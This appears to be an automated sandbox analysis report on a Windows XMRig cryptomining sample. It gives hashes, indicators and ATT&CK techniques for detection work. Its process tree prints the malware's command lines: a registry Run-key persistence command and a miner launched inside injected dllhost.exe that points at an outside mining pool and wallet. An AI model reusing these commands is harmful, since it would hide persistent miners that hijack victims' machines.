xmrig | f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/07/2026, 03:13

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General

Target
f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe
Size 6.8MB
Sample260701-dq9a4afs21
SHA256 f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6
MD5 e3e8a5ffff375d930c5a1b4889943f87
SHA1 721ba998a989e99607ab5f96217ca6e193e66093
SHA512 912a9d42ef5cbf25a2689247cc4bab2cbe48431c795e18053d9a7887b811aa671f49b1c484866ee326d265ecc6f265829e62171f185989c4bf12b83dc26f0075
SSDEEP 196608:s1Tdu6JdemyMjpu6a67buEjcmUInErzvF:YoQdemyMlu6arEbUInErzvF
TLSH
T15076EF13D5E6CEF4C12BE6BC4A629332A91474884E32B12D65D5F3666FF0E38A15DB30
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 4 IoCs

miner

resource	yara_rule
behavioral1/memory/2412-11-0x000002C5657F0000-0x000002C565D1A000-memory.dmp	xmrig
behavioral1/memory/2412-12-0x000002C5657F0000-0x000002C565D1A000-memory.dmp	xmrig
behavioral1/memory/852-14-0x0000017E96F50000-0x0000017E9747A000-memory.dmp	xmrig
behavioral1/memory/852-15-0x0000017E96F50000-0x0000017E9747A000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
4988	SystemIdle.exe

Executes dropped EXE 1 IoCs

pid	Process
4988	SystemIdle.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemIdle = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\SystemIdle\\SystemIdle.exe\""	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
38	pastebin.com
39	pastebin.com
78	pastebin.com

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4988 set thread context of 3964	4988	SystemIdle.exe	97
PID 3964 set thread context of 2412	3964	taskhostw.exe	104
PID 3964 set thread context of 852	3964	taskhostw.exe	108

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SystemIdle.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	SystemIdle.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3484	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe
3964	taskhostw.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4988	SystemIdle.exe
3964	taskhostw.exe
3964	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2412	dllhost.exe
Token: SeLockMemoryPrivilege	2412	dllhost.exe
Token: SeLockMemoryPrivilege	852	dllhost.exe
Token: SeLockMemoryPrivilege	852	dllhost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2412	dllhost.exe
852	dllhost.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 3484	4700	f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe	85
PID 4700 wrote to memory of 4988	4700	f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe	87
PID 4988 wrote to memory of 3964	4988	SystemIdle.exe	97
PID 3964 wrote to memory of 2412	3964	taskhostw.exe	104
PID 3964 wrote to memory of 852	3964	taskhostw.exe	108

C:\Users\Admin\AppData\Local\Temp\f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe
"C:\Users\Admin\AppData\Local\Temp\f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe"
1⤵
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemIdle /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Microsoft\SystemIdle\SystemIdle.exe\"" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3484
- C:\Users\Admin\AppData\Local\Microsoft\SystemIdle\SystemIdle.exe
  "C:\Users\Admin\AppData\Local\Microsoft\SystemIdle\SystemIdle.exe"
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Checks processor information in registry
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Windows\System32\taskhostw.exe
    "C:\Windows\System32\taskhostw.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\System32\dllhost.exe
      "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA -t 2 -a rx/0 --http-port 58204
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:2412
  - - C:\Windows\System32\dllhost.exe
      "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA -t 2 -a rx/0 --http-port 58204
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:852

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

SystemIdle.exe

Path C:\Users\Admin\AppData\Local\Microsoft\SystemIdle\SystemIdle.exe
Size 6.8MB
SHA256 83ff17f64e953234fc3817dde0ae99f56b737fe3a75696448d344259b3585231
MD5 6cdc9f5854a616b83382b01758fd1a32
SHA1 bd0c63b40a173be31a53e4d295ff30e4cb157085
SHA512 1cea455ff61f5fa76e30e939b73795f92e05c24b9ae8469d824f25e66d5c88a1cc10521655ae4aab02ac9be09b13f6cd5d2f19a1b799c2135b28ae7393463793
SSDEEP 196608:J1Tdu6JdemyMjpu6a67buEjcmUInErzvF:LoQdemyMlu6arEbUInErzvF
TLSH
T14F76EF13D5E6CEF4C12BE6BC4A629332A91474884E32B12D65D5F3666FF0E38A15DB30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/852-14-0x0000017E96F50000-0x0000017E9747A000-memory.dmp

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memory/852-15-0x0000017E96F50000-0x0000017E9747A000-memory.dmp

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memory/2412-11-0x000002C5657F0000-0x000002C565D1A000-memory.dmp

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memory/2412-13-0x000002C565E90000-0x000002C565EB0000-memory.dmp

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memory/2412-12-0x000002C5657F0000-0x000002C565D1A000-memory.dmp

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memory/3964-7-0x000001F0AD380000-0x000001F0ADA56000-memory.dmp

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memory/3964-10-0x000001F0AD380000-0x000001F0ADA56000-memory.dmp

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memory/4700-0-0x000001BCEDB00000-0x000001BCEDB01000-memory.dmp

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memory/4700-5-0x00007FF611E70000-0x00007FF612546000-memory.dmp

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memory/4988-8-0x00007FF7498B0000-0x00007FF749F86000-memory.dmp

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memory/4988-9-0x00007FF7498B0000-0x00007FF749F86000-memory.dmp

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